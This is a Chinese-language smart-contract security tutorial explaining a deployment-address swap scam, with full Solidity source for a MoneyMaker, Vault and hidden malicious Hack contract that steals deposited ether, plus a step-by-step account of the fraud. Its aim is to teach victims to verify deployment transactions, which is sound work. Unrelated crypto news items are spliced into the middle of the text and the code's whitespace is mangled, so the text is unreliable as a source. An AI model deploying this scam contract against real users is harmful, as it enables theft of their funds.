概述
上期我们了解了利用tx.origin进行钓鱼的攻击手法，本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。
前置知识
大家还记得之前几期部署攻击合约时我们会传入目标合约的地址，在攻击合约中就可以调用目标合约中的函数吗，有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源，其实我们会在部署A合约时传入C合约的地址，如果受害者完全信任我们没有检查部署A合约的那笔交易，我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑：
用户以为的调用路径：
部署合约A传入合约B地址，这样调用路径为正常路径。
实际的调用路径：
以太坊技术服务商OpenZeppelin发布Optimism智能合约审计报告:11月25日消息，以太坊技术服务商OpenZeppelin发布Optimism智能合约审计报告。从2021年3月15日开始，OpenZeppelin在7周的时间里与3位审计师一起审计了Optimism的代码库，共发现4个严重和4个高度严重的问题，并提出修改建议以减少代码的攻击面和提高其整体质量。[2021/11/25 7:10:43]
部署合约A传入合约C地址，这样调用路径为非正常路径。
下面我们使用一个简单的例子来分析这个局：
恶意代码
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}
声音 | 孙宇晨：愿在智能合约中支持TRC-10/20代币及DPOS机制:孙宇晨发布推特称，波场愿意为zk-SNARK做出努力，并在智能合约中支持TRC-10、TRC-20代币和DPOS机制。12月17日消息，波场宣布即将进行匿名交易公测。[2019/12/18]
局分析
可以看到，上述代码中存在三个合约，我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色：
MoneyMaker合约代表A合约；
Vault合约代表B合约；
Hack合约代表C合约。
所以用户以为的调用路径为：
MoneyMaker->Vault。
而实际的调用路径为：
MoneyMaker->Hack。
下面我们来看看攻击者如何完成局的：
1.Evil部署Vault(B)合约并在合约中留存100ETH资金，在链上将Vault(B)合约开源；
深圳市金融科技协会理事：鼓励建设基于区块链和智能合约技术的绿色资产开发和绿色债券审核交易平台:深圳绿金委副秘书长、深圳市金融科技协会理事黄晓宁在《证券时报》今日发文称，深圳在新一轮的科技浪潮前遥遥领先，人工智能与金融科技领域蓬勃发展。可利用区块链、大数据、云计算、人工智能、电子支付等新兴技术，开展绿色金融业务创新、提升运行效率、有效防控风险，促进创新型绿色金融基础设施平台发展。鼓励建设基于区块链和智能合约技术的绿色资产开发和绿色债券审核交易平台。[2018/6/16]
2.Evil部署Hack(C)恶意合约；
3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约，部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址，任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报；
4.Bob收到消息，了解到MoneyMaker合约的存在，他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样，他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil；
区块链初创公司Digital Asset将智能合同语言DAML打包成软件开发工具包:区块链初创公司Digital Asset公布了一个新项目，该项目旨在简化具有重要的系统性金融基础设施接入其技术的方式。在前摩根大通全球大宗商品负责人Blythe Masters的带领下，这家初创公司正在将其自定义的智能合同语言DAML打包成易于使用的软件开发工具包(sdk)，供客户使用。Masters表示，在现有的合作伙伴关系，比如与澳大利亚证券交易所(Australian Securities Exchange)的合作中，SDKs已经在发挥积极作用。[2018/3/27]
5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH，在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。
咋回事呢？其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址，而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太，而是调用了Hack.transfer()抛出了一个事件："Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出，并通过Hack.withrow()将Bob转入的20ETH转出。
以太坊竞争对手RSK发布比特币智能合约平台:以太坊竞争对手RSK实验室已经宣布：比特币智能合约平台主网于周一正式上线。该公司声称获得了90％的比特币哈希算力的支持，用于RSK侧链挖矿。且鼓励所有开发者在测试阶段参与寻找bug的奖励计划。[2017/12/5]
预防建议
以太坊黑暗森林中你能相信的只有自己，不要相信任何人精彩的话术，交易记录不会造假，只有自己验证了对应的那笔交易后才能相信对方说的话是对的。
郑重声明： 本文版权归原作者所有， 转载文章仅为传播更多信息之目的， 如作者信息标记有误， 请第一时间联系我们修改或删除， 多谢。